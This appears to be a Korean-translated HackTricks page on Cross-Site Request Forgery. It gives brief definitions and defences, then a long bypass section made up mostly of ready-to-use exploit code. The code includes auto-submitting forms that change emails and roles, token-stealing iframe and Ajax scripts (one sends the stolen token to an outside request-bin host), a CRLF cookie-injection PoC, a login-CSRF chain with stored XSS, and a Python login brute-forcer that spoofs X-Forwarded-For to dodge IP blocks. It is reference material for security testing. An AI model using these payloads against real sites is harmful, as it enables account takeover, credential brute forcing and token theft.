30 KiB
CSRF (Cross Site Request Forgery)
{{#include ../banners/hacktricks-training.md}}
Cross-Site Request Forgery (CSRF) 설명
**Cross-Site Request Forgery (CSRF)**는 웹 애플리케이션에서 발견되는 일종의 보안 취약점입니다. 공격자는 인증된 세션을 악용하여 사용자가 모르는 사이에 그 사용자를 대신해 동작을 수행할 수 있습니다. 공격은 피해자의 플랫폼에 로그인된 사용자가 악성 사이트를 방문할 때 발생합니다. 해당 사이트는 JavaScript 실행, 폼 제출, 이미지 가져오기 등과 같은 방법으로 피해자의 계정에 요청을 발생시킵니다.
CSRF 공격을 위한 전제 조건
CSRF 취약점을 악용하려면 다음과 같은 조건들이 충족되어야 합니다:
- 가치 있는 동작 식별: 공격자는 사용자 비밀번호 변경, 이메일 변경, 권한 상승 등 악용할 가치가 있는 동작을 찾아야 합니다.
- 세션 관리: 사용자의 세션은 오직 cookies 또는 HTTP Basic Authentication header를 통해서만 관리되어야 합니다. 다른 헤더는 이 목적을 위해 조작할 수 없습니다.
- 예측 불가능한 매개변수의 부재: 요청에 예측 불가능한 매개변수가 포함되어 있으면 공격을 방지할 수 있습니다.
빠른 확인
요청을 Burp에서 캡처하고 CSRF 보호를 확인할 수 있으며, 브라우저에서 테스트하려면 Copy as fetch를 클릭하여 요청을 확인할 수 있습니다:

CSRF에 대한 방어
다음과 같은 대응책들을 구현하여 CSRF 공격으로부터 보호할 수 있습니다:
- SameSite cookies: 이 속성은 브라우저가 교차 출처 요청과 함께 cookies를 전송하지 못하게 합니다. More about SameSite cookies.
- Cross-origin resource sharing: 피해자 사이트의 CORS 정책은 공격의 실행 가능성에 영향을 미칠 수 있으며, 특히 공격이 피해자 사이트의 응답을 읽어야 하는 경우에 중요합니다. Learn about CORS bypass.
- User Verification: 사용자에게 비밀번호 입력을 요구하거나 captcha를 풀게 하는 방식으로 사용자의 의도를 확인할 수 있습니다.
- Referrer 또는 Origin 헤더 검사: 이러한 헤더를 검증하면 요청이 신뢰할 수 있는 출처에서 왔는지 확인하는 데 도움이 됩니다. 그러나 잘못 구현된 검사를 우회할 수 있는 URL 조작 방식들이 있습니다. 예:
http://mal.net?orig=http://example.com
(URL이 신뢰된 URL로 끝남)http://example.com.mal.net
(URL이 신뢰된 URL로 시작함)
- 매개변수 이름 변경: POST 또는 GET 요청의 매개변수 이름을 변경하면 자동화된 공격을 방지하는 데 도움이 될 수 있습니다.
- CSRF Tokens: 각 세션에 고유한 CSRF 토큰을 포함하고 이후 요청에서 이 토큰을 요구하면 CSRF 위험을 크게 줄일 수 있습니다. CORS를 적용하면 토큰의 효과를 더욱 높일 수 있습니다.
이러한 방어책을 이해하고 구현하는 것은 웹 애플리케이션의 보안과 무결성을 유지하는 데 매우 중요합니다.
방어의 일반적인 함정
- SameSite의 함정:
SameSite=Lax
는 여전히 링크나 폼의 GET과 같은 최상위 교차 출처 내비게이션을 허용하므로 많은 GET 기반 CSRF가 여전히 가능할 수 있습니다. cookie matrix는 Hacking with Cookies > SameSite를 참조하세요. - 헤더 검사:
Origin
이 있을 때 이를 검증하세요;Origin
과Referer
가 모두 없으면 접근을 차단하세요(fail closed). 유사 도메인이나 조작된 URL로 우회될 수 있는Referer
의 부분 문자열/정규식 매칭에 의존하지 마세요. 또한meta name="referrer" content="never"
억제 트릭을 주의하세요. - Method override: 오버라이드된 메서드(
_method
또는 override headers)는 상태 변경으로 간주하고 POST에만 적용하지 말고 실제 적용되는 메서드에 대해 CSRF를 강제하세요. - 로그인 흐름: 로그인에도 CSRF 보호를 적용하세요. 그렇지 않으면 로그인 CSRF가 공격자가 제어하는 계정으로 강제 재인증을 허용하게 되고, 이는 stored XSS와 연계되어 사용될 수 있습니다.
Defences Bypass
From POST to GET (method-conditioned CSRF validation bypass)
일부 애플리케이션은 다른 HTTP 동사를 건너뛰고 POST에만 CSRF 검증을 적용합니다. PHP에서 흔한 안티패턴은 다음과 같습니다:
public function csrf_check($fatal = true) {
if ($_SERVER['REQUEST_METHOD'] !== 'POST') return true; // GET, HEAD, etc. bypass CSRF
// ... validate __csrf_token here ...
}
취약한 엔드포인트가 $_REQUEST에서 파라미터를 받는다면, 동일한 동작을 GET 요청으로 다시 발행하고 CSRF token을 완전히 생략할 수 있습니다. 이렇게 하면 POST-only 동작이 토큰 없이 성공하는 GET 동작으로 전환됩니다.
Example:
- Original POST with token (intended):
POST /index.php?module=Home&action=HomeAjax&file=HomeWidgetBlockList HTTP/1.1
Content-Type: application/x-www-form-urlencoded
__csrf_token=sid:...&widgetInfoList=[{"widgetId":"https://attacker<img src onerror=alert(1)>","widgetType":"URL"}]
- Bypass by switching to GET (no token):
GET /index.php?module=Home&action=HomeAjax&file=HomeWidgetBlockList&widgetInfoList=[{"widgetId":"https://attacker<img+src+onerror=alert(1)>","widgetType":"URL"}] HTTP/1.1
Notes:
- 이 패턴은 종종 reflected XSS와 함께 나타나며, 응답이 application/json 대신 잘못하여 text/html로 제공되는 경우가 많습니다.
- 이를 XSS와 결합하면 취약한 코드 경로를 트리거하고 CSRF checks를 완전히 회피하는 단일 GET 링크를 전달할 수 있어 exploitation 장벽이 크게 낮아집니다.
토큰 없음
Applications might implement a mechanism to validate tokens when they are present. However, a vulnerability arises if the validation is skipped altogether when the token is absent. Attackers can exploit this by removing the parameter that carries the token, not just its value. This allows them to circumvent the validation process and conduct a Cross-Site Request Forgery (CSRF) attack effectively.
Moreover, some implementations only check that the parameter exists but don’t validate its content, so an empty token value is accepted. In that case, simply submitting the request with csrf=
is enough:
POST /admin/users/role HTTP/2
Host: example.com
Content-Type: application/x-www-form-urlencoded
username=guest&role=admin&csrf=
최소한의 자동 제출 PoC (history.pushState로 탐색 숨기기):
<html>
<body>
<form action="https://example.com/admin/users/role" method="POST">
<input type="hidden" name="username" value="guest" />
<input type="hidden" name="role" value="admin" />
<input type="hidden" name="csrf" value="" />
<input type="submit" value="Submit request" />
</form>
<script>history.pushState('', '', '/'); document.forms[0].submit();</script>
</body>
</html>
CSRF token이 사용자 세션에 연동되어 있지 않음
애플리케이션이 CSRF tokens을 사용자 세션에 연동하지 않는 경우 심각한 보안 위험을 초래합니다. 이러한 시스템은 각 토큰이 발급한 세션에 바인딩되어 있는지 확인하기보다는 토큰을 global pool에 대해 검증합니다.
공격자가 이를 악용하는 방법은 다음과 같습니다:
- 자신의 계정으로 인증합니다.
- global pool에서 유효한 CSRF token을 획득합니다.
- 이 토큰을 사용해 피해자에 대한 CSRF attack을 수행합니다.
이 취약점으로 공격자는 애플리케이션의 부적절한 토큰 검증 메커니즘을 악용하여 피해자를 대신해 무단 요청을 수행할 수 있습니다.
메서드 우회
요청이 "weird" method를 사용 중이라면 method override 기능이 작동하는지 확인하세요. 예를 들어 PUT/DELETE/PATCH 메서드를 사용 중이라면 POST를 사용하고 override를 전송해 볼 수 있습니다. 예: https://example.com/my/dear/api/val/num?_method=PUT
이는 _method
parameter inside a POST body로 전송하거나 override headers를 사용해도 동작할 수 있습니다:
X-HTTP-Method
X-HTTP-Method-Override
X-Method-Override
Laravel, Symfony, Express 등 프레임워크에서 흔히 볼 수 있습니다. 개발자들이 브라우저가 비-POST 동사를 전송할 수 없다고 가정해 비-POST 동사에 대해 CSRF를 생략하는 경우가 있는데, override를 통해 여전히 POST로 해당 핸들러에 도달할 수 있습니다.
예시 요청 및 HTML PoC:
POST /users/delete HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
username=admin&_method=DELETE
<form method="POST" action="/users/delete">
<input name="username" value="admin">
<input type="hidden" name="_method" value="DELETE">
<button type="submit">Delete User</button>
</form>
커스텀 헤더 token 우회
요청이 사용자 정의 헤더에 token을 CSRF 보호 방법으로 추가하는 경우:
- 요청을 Customized Token 및 해당 헤더 없이 테스트하세요.
- 길이가 정확히 동일하지만 다른 token으로 요청을 테스트하세요.
CSRF token이 쿠키로 검증되는 경우
애플리케이션은 token을 쿠키와 요청 파라미터에 중복 저장하거나 CSRF 쿠키를 설정하고 백엔드로 전송된 token이 쿠키와 일치하는지 확인함으로써 CSRF 보호를 구현할 수 있습니다. 애플리케이션은 요청 파라미터의 token이 쿠키의 값과 일치하는지 확인하여 요청을 검증합니다.
그러나 이 방법은 CRLF 취약점과 같이 공격자가 피해자의 브라우저에 CSRF 쿠키를 설정할 수 있는 결함이 있는 웹사이트에서는 CSRF 공격에 취약합니다. 공격자는 쿠키를 설정하는 속임수 이미지( deceptive image )를 불러오게 한 뒤 CSRF 공격을 시작하는 방식으로 이를 악용할 수 있습니다.
아래는 공격이 어떻게 구성될 수 있는지에 대한 예시입니다:
<html>
<!-- CSRF Proof of Concept - generated by Burp Suite Professional -->
<body>
<script>
history.pushState("", "", "/")
</script>
<form action="https://example.com/my-account/change-email" method="POST">
<input type="hidden" name="email" value="asd@asd.asd" />
<input
type="hidden"
name="csrf"
value="tZqZzQ1tiPj8KFnO4FOAawq7UsYzDk8E" />
<input type="submit" value="Submit request" />
</form>
<img
src="https://example.com/?search=term%0d%0aSet-Cookie:%20csrf=tZqZzQ1tiPj8KFnO4FOAawq7UsYzDk8E"
onerror="document.forms[0].submit();" />
</body>
</html>
Tip
만약 csrf token이 session cookie와 연관되어 있다면 이 공격은 작동하지 않습니다. 피해자의 세션을 설정해야 하므로 결국 자신을 공격하게 됩니다.
Content-Type 변경
this에 따르면, POST 메서드를 사용할 때 preflight 요청을 피하려면 허용되는 Content-Type 값은 다음과 같습니다:
application/x-www-form-urlencoded
multipart/form-data
text/plain
단, 사용된 Content-Type에 따라 서버 로직이 달라질 수 있음에 유의하세요. 따라서 위에 언급한 값들과 application/json
, text/xml
, application/xml
같은 값들도 시도해봐야 합니다.
Example (from here) of sending JSON data as text/plain:
<html>
<body>
<form
id="form"
method="post"
action="https://phpme.be.ax/"
enctype="text/plain">
<input
name='{"garbageeeee":"'
value='", "yep": "yep yep yep", "url": "https://webhook/"}' />
</form>
<script>
form.submit()
</script>
</body>
</html>
Bypassing Preflight Requests for JSON Data
POST 요청으로 JSON 데이터를 전송하려 할 때, HTML form에서 Content-Type: application/json
을 직접 설정하는 것은 불가능합니다. 마찬가지로 XMLHttpRequest
로 이 Content-Type을 전송하면 preflight request가 발생합니다. 그럼에도 불구하고 이 제한을 우회하고 서버가 Content-Type과 상관없이 JSON 데이터를 처리하는지 확인할 수 있는 방법들이 있습니다:
- Use Alternative Content Types: form에
enctype="text/plain"
을 설정하여Content-Type: text/plain
또는Content-Type: application/x-www-form-urlencoded
를 사용하세요. 이 방법은 백엔드가 Content-Type과 상관없이 데이터를 사용하는지 테스트합니다. - Modify Content Type: preflight request를 피하면서 서버가 콘텐츠를 JSON으로 인식하도록 하려면
Content-Type: text/plain; application/json
으로 데이터를 전송할 수 있습니다. 이는 preflight request를 유발하지 않지만, 서버가application/json
을 허용하도록 구성되어 있다면 제대로 처리될 수 있습니다. - SWF Flash File Utilization: 덜 일반적이지만 가능한 방법으로 SWF flash 파일을 사용해 이러한 제약을 우회하는 방법이 있습니다. 이 기법에 대한 자세한 내용은 this post를 참고하세요.
Referrer / Origin check bypass
Avoid Referrer header
Applications may validate the 'Referer' header only when it's present. To prevent a browser from sending this header, the following HTML meta tag can be used:
<meta name="referrer" content="never">
이렇게 하면 'Referer' 헤더가 생략되어 일부 애플리케이션의 검증 체크를 우회할 수 있습니다.
Regexp bypasses
{{#ref}} ssrf-server-side-request-forgery/url-format-bypass.md {{#endref}}
URL에 Referrer가 파라미터 안에 전송할 서버의 도메인 이름을 설정하려면 다음과 같이 할 수 있습니다:
<html>
<!-- Referrer policy needed to send the qury parameter in the referrer -->
<head>
<meta name="referrer" content="unsafe-url" />
</head>
<body>
<script>
history.pushState("", "", "/")
</script>
<form
action="https://ac651f671e92bddac04a2b2e008f0069.web-security-academy.net/my-account/change-email"
method="POST">
<input type="hidden" name="email" value="asd@asd.asd" />
<input type="submit" value="Submit request" />
</form>
<script>
// You need to set this or the domain won't appear in the query of the referer header
history.pushState(
"",
"",
"?ac651f671e92bddac04a2b2e008f0069.web-security-academy.net"
)
document.forms[0].submit()
</script>
</body>
</html>
HEAD 메서드 우회
The first part of this CTF writeup is explained that Oak's source code, a router is set to HEAD 요청을 GET 요청으로 처리하도록 with no response body - a common workaround that isn't unique to Oak. Instead of a specific handler that deals with HEAD reqs, they're simply GET 핸들러에 전달되지만 앱이 응답 본문만 제거합니다.
따라서 GET 요청이 제한되는 경우, GET 요청으로 처리될 HEAD 요청을 전송할 수 있습니다.
Exploit Examples
사용자 생성 HTML을 통한 Stored CSRF
When rich-text editors or HTML injection are allowed, you can persist a passive fetch that hits a vulnerable GET endpoint. Any user who views the content will automatically perform the request with their 쿠키.
- If the 앱 uses a 글로벌 CSRF 토큰 that is not bound to the user 세션, the same 토큰 may work for all users, making stored CSRF reliable across victims.
로딩될 때 뷰어의 이메일을 변경하는 최소 예시:
<img src="https://example.com/account/settings?newEmail=attacker@example.com" alt="">
로그인 CSRF와 stored XSS 연계
로그인 CSRF 단독으로는 영향이 적을 수 있지만, 인증된 stored XSS와 결합하면 강력해집니다: 피해자를 공격자가 제어하는 계정으로 인증하도록 강제합니다; 그런 컨텍스트에서는 인증된 페이지의 stored XSS가 실행되어 토큰을 훔치거나 세션을 가로채거나 권한을 상승시킬 수 있습니다.
- 로그인 엔드포인트가 CSRF-able(세션별 토큰이나 origin 검사 없음)하고 사용자 상호작용 요구로 차단되지 않는지 확인하세요.
- 강제 로그인 후, 공격자의 stored XSS payload를 포함한 페이지로 자동 이동시키세요.
Minimal login-CSRF PoC:
<html>
<body>
<form action="https://example.com/login" method="POST">
<input type="hidden" name="username" value="attacker@example.com" />
<input type="hidden" name="password" value="StrongPass123!" />
<input type="submit" value="Login" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
// Optionally redirect to a page with stored XSS in the attacker account
// location = 'https://example.com/app/inbox';
</script>
</body>
</html>
CSRF Token 탈취
만약 CSRF token이 defence로 사용되고 있다면, XSS 취약점이나 Dangling Markup 취약점을 악용하여 exfiltrate it 해볼 수 있습니다.
HTML tags를 이용한 GET
<img src="http://google.es?param=VALUE" style="display:none" />
<h1>404 - Page not found</h1>
The URL you are requesting is no longer available
자동으로 GET 요청을 보낼 때 사용할 수 있는 다른 HTML5 태그는 다음과 같다:
<iframe src="..."></iframe>
<script src="..."></script>
<img src="..." alt="" />
<embed src="..." />
<audio src="...">
<video src="...">
<source src="..." type="..." />
<video poster="...">
<link rel="stylesheet" href="..." />
<object data="...">
<body background="...">
<div style="background: url('...');"></div>
<style>
body {
background: url("...");
}
</style>
<bgsound src="...">
<track src="..." kind="subtitles" />
<input type="image" src="..." alt="Submit Button"
/></bgsound>
</body>
</object>
</video>
</video>
</audio>
폼 GET 요청
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>
history.pushState("", "", "/")
</script>
<form method="GET" action="https://victim.net/email/change-email">
<input type="hidden" name="email" value="some@email.com" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit()
</script>
</body>
</html>
폼 POST 요청
<html>
<body>
<script>
history.pushState("", "", "/")
</script>
<form
method="POST"
action="https://victim.net/email/change-email"
id="csrfform">
<input
type="hidden"
name="email"
value="some@email.com"
autofocus
onfocus="csrfform.submit();" />
<!-- Way 1 to autosubmit -->
<input type="submit" value="Submit request" />
<img src="x" onerror="csrfform.submit();" />
<!-- Way 2 to autosubmit -->
</form>
<script>
document.forms[0].submit() //Way 3 to autosubmit
</script>
</body>
</html>
iframe를 통한 Form POST 요청
<!--
The request is sent through the iframe withuot reloading the page
-->
<html>
<body>
<iframe style="display:none" name="csrfframe"></iframe>
<form method="POST" action="/change-email" id="csrfform" target="csrfframe">
<input
type="hidden"
name="email"
value="some@email.com"
autofocus
onfocus="csrfform.submit();" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit()
</script>
</body>
</html>
Ajax POST 요청
<script>
var xh
if (window.XMLHttpRequest) {
// code for IE7+, Firefox, Chrome, Opera, Safari
xh = new XMLHttpRequest()
} else {
// code for IE6, IE5
xh = new ActiveXObject("Microsoft.XMLHTTP")
}
xh.withCredentials = true
xh.open(
"POST",
"http://challenge01.root-me.org/web-client/ch22/?action=profile"
)
xh.setRequestHeader("Content-type", "application/x-www-form-urlencoded") //to send proper header info (optional, but good to have as it may sometimes not work without this)
xh.send("username=abcd&status=on")
</script>
<script>
//JQuery version
$.ajax({
type: "POST",
url: "https://google.com",
data: "param=value¶m2=value2",
})
</script>
multipart/form-data POST 요청
myFormData = new FormData()
var blob = new Blob(["<?php phpinfo(); ?>"], { type: "text/text" })
myFormData.append("newAttachment", blob, "pwned.php")
fetch("http://example/some/path", {
method: "post",
body: myFormData,
credentials: "include",
headers: { "Content-Type": "application/x-www-form-urlencoded" },
mode: "no-cors",
})
multipart/form-data POST 요청 v2
// https://www.exploit-db.com/exploits/20009
var fileSize = fileData.length,
boundary = "OWNEDBYOFFSEC",
xhr = new XMLHttpRequest()
xhr.withCredentials = true
xhr.open("POST", url, true)
// MIME POST request.
xhr.setRequestHeader(
"Content-Type",
"multipart/form-data, boundary=" + boundary
)
xhr.setRequestHeader("Content-Length", fileSize)
var body = "--" + boundary + "\r\n"
body +=
'Content-Disposition: form-data; name="' +
nameVar +
'"; filename="' +
fileName +
'"\r\n'
body += "Content-Type: " + ctype + "\r\n\r\n"
body += fileData + "\r\n"
body += "--" + boundary + "--"
//xhr.send(body);
xhr.sendAsBinary(body)
iframe 내부에서의 Form POST 요청
<--! expl.html -->
<body onload="envia()">
<form
method="POST"
id="formulario"
action="http://aplicacion.example.com/cambia_pwd.php">
<input type="text" id="pwd" name="pwd" value="otra nueva" />
</form>
<body>
<script>
function envia() {
document.getElementById("formulario").submit()
}
</script>
<!-- public.html -->
<iframe src="2-1.html" style="position:absolute;top:-5000"> </iframe>
<h1>Sitio bajo mantenimiento. Disculpe las molestias</h1>
</body>
</body>
CSRF Token 탈취 및 POST 요청 전송
function submitFormWithTokenJS(token) {
var xhr = new XMLHttpRequest()
xhr.open("POST", POST_URL, true)
xhr.withCredentials = true
// Send the proper header information along with the request
xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded")
// This is for debugging and can be removed
xhr.onreadystatechange = function () {
if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
//console.log(xhr.responseText);
}
}
xhr.send("token=" + token + "&otherparama=heyyyy")
}
function getTokenJS() {
var xhr = new XMLHttpRequest()
// This tels it to return it as a HTML document
xhr.responseType = "document"
xhr.withCredentials = true
// true on the end of here makes the call asynchronous
xhr.open("GET", GET_URL, true)
xhr.onload = function (e) {
if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
// Get the document from the response
page = xhr.response
// Get the input element
input = page.getElementById("token")
// Show the token
//console.log("The token is: " + input.value);
// Use the token to submit the form
submitFormWithTokenJS(input.value)
}
}
// Make the request
xhr.send(null)
}
var GET_URL = "http://google.com?param=VALUE"
var POST_URL = "http://google.com?param=VALUE"
getTokenJS()
CSRF Token을 탈취하고 iframe, form 및 Ajax를 사용하여 Post 요청을 전송하기
<form
id="form1"
action="http://google.com?param=VALUE"
method="post"
enctype="multipart/form-data">
<input type="text" name="username" value="AA" />
<input type="checkbox" name="status" checked="checked" />
<input id="token" type="hidden" name="token" value="" />
</form>
<script type="text/javascript">
function f1() {
x1 = document.getElementById("i1")
x1d = x1.contentWindow || x1.contentDocument
t = x1d.document.getElementById("token").value
document.getElementById("token").value = t
document.getElementById("form1").submit()
}
</script>
<iframe
id="i1"
style="display:none"
src="http://google.com?param=VALUE"
onload="javascript:f1();"></iframe>
CSRF Token을 탈취하고 iframe과 form을 사용해 POST 요청을 전송
<iframe
id="iframe"
src="http://google.com?param=VALUE"
width="500"
height="500"
onload="read()"></iframe>
<script>
function read() {
var name = "admin2"
var token =
document.getElementById("iframe").contentDocument.forms[0].token.value
document.writeln(
'<form width="0" height="0" method="post" action="http://www.yoursebsite.com/check.php" enctype="multipart/form-data">'
)
document.writeln(
'<input id="username" type="text" name="username" value="' +
name +
'" /><br />'
)
document.writeln(
'<input id="token" type="hidden" name="token" value="' + token + '" />'
)
document.writeln(
'<input type="submit" name="submit" value="Submit" /><br/>'
)
document.writeln("</form>")
document.forms[0].submit.click()
}
</script>
token을 탈취하고 2개의 iframes로 전송
<script>
var token;
function readframe1(){
token = frame1.document.getElementById("profile").token.value;
document.getElementById("bypass").token.value = token
loadframe2();
}
function loadframe2(){
var test = document.getElementbyId("frame2");
test.src = "http://requestb.in/1g6asbg1?token="+token;
}
</script>
<iframe id="frame1" name="frame1" src="http://google.com?param=VALUE" onload="readframe1()"
sandbox="allow-same-origin allow-scripts allow-forms allow-popups allow-top-navigation"
height="600" width="800"></iframe>
<iframe id="frame2" name="frame2"
sandbox="allow-same-origin allow-scripts allow-forms allow-popups allow-top-navigation"
height="600" width="800"></iframe>
<body onload="document.forms[0].submit()">
<form id="bypass" name"bypass" method="POST" target="frame2" action="http://google.com?param=VALUE" enctype="multipart/form-data">
<input type="text" name="username" value="z">
<input type="checkbox" name="status" checked="">
<input id="token" type="hidden" name="token" value="0000" />
<button type="submit">Submit</button>
</form>
POSTSteal CSRF token을 Ajax로 훔치고 form으로 POST 요청 전송
<body onload="getData()">
<form
id="form"
action="http://google.com?param=VALUE"
method="POST"
enctype="multipart/form-data">
<input type="hidden" name="username" value="root" />
<input type="hidden" name="status" value="on" />
<input type="hidden" id="findtoken" name="token" value="" />
<input type="submit" value="valider" />
</form>
<script>
var x = new XMLHttpRequest()
function getData() {
x.withCredentials = true
x.open("GET", "http://google.com?param=VALUE", true)
x.send(null)
}
x.onreadystatechange = function () {
if (x.readyState == XMLHttpRequest.DONE) {
var token = x.responseText.match(/name="token" value="(.+)"/)[1]
document.getElementById("findtoken").value = token
document.getElementById("form").submit()
}
}
</script>
</body>
Socket.IO를 이용한 CSRF
<script src="https://cdn.jsdelivr.net/npm/socket.io-client@2/dist/socket.io.js"></script>
<script>
let socket = io("http://six.jh2i.com:50022/test")
const username = "admin"
socket.on("connect", () => {
console.log("connected!")
socket.emit("join", {
room: username,
})
socket.emit("my_room_event", {
data: "!flag",
room: username,
})
})
</script>
CSRF Login Brute Force
이 코드는 CSRF token을 사용하여 로그인 폼에 대해 Brut Force 공격을 수행하는 데 사용할 수 있습니다(또한 잠재적인 IP blacklisting을 우회하기 위해 X-Forwarded-For 헤더를 사용합니다):
import request
import re
import random
URL = "http://10.10.10.191/admin/"
PROXY = { "http": "127.0.0.1:8080"}
SESSION_COOKIE_NAME = "BLUDIT-KEY"
USER = "fergus"
PASS_LIST="./words"
def init_session():
#Return CSRF + Session (cookie)
r = requests.get(URL)
csrf = re.search(r'input type="hidden" id="jstokenCSRF" name="tokenCSRF" value="([a-zA-Z0-9]*)"', r.text)
csrf = csrf.group(1)
session_cookie = r.cookies.get(SESSION_COOKIE_NAME)
return csrf, session_cookie
def login(user, password):
print(f"{user}:{password}")
csrf, cookie = init_session()
cookies = {SESSION_COOKIE_NAME: cookie}
data = {
"tokenCSRF": csrf,
"username": user,
"password": password,
"save": ""
}
headers = {
"X-Forwarded-For": f"{random.randint(1,256)}.{random.randint(1,256)}.{random.randint(1,256)}.{random.randint(1,256)}"
}
r = requests.post(URL, data=data, cookies=cookies, headers=headers, proxies=PROXY)
if "Username or password incorrect" in r.text:
return False
else:
print(f"FOUND {user} : {password}")
return True
with open(PASS_LIST, "r") as f:
for line in f:
login(USER, line.strip())
도구
- https://github.com/0xInfection/XSRFProbe
- https://github.com/merttasci/csrf-poc-generator
- Burp Suite Professional – Generate CSRF PoCs
참고자료
- https://portswigger.net/web-security/csrf
- https://portswigger.net/web-security/csrf/bypassing-token-validation
- https://portswigger.net/web-security/csrf/bypassing-referer-based-defenses
- https://www.hahwul.com/2019/10/bypass-referer-check-logic-for-csrf.html
- https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/
- Ultimate guide to CSRF vulnerabilities (YesWeHack)
- OWASP: Cross-Site Request Forgery (CSRF)
- Wikipedia: Cross-site request forgery
- PortSwigger Web Security Academy: CSRF labs
- Hackernoon: Blind CSRF
- YesWeHack Dojo: Hands-on labs
{{#include ../banners/hacktricks-training.md}}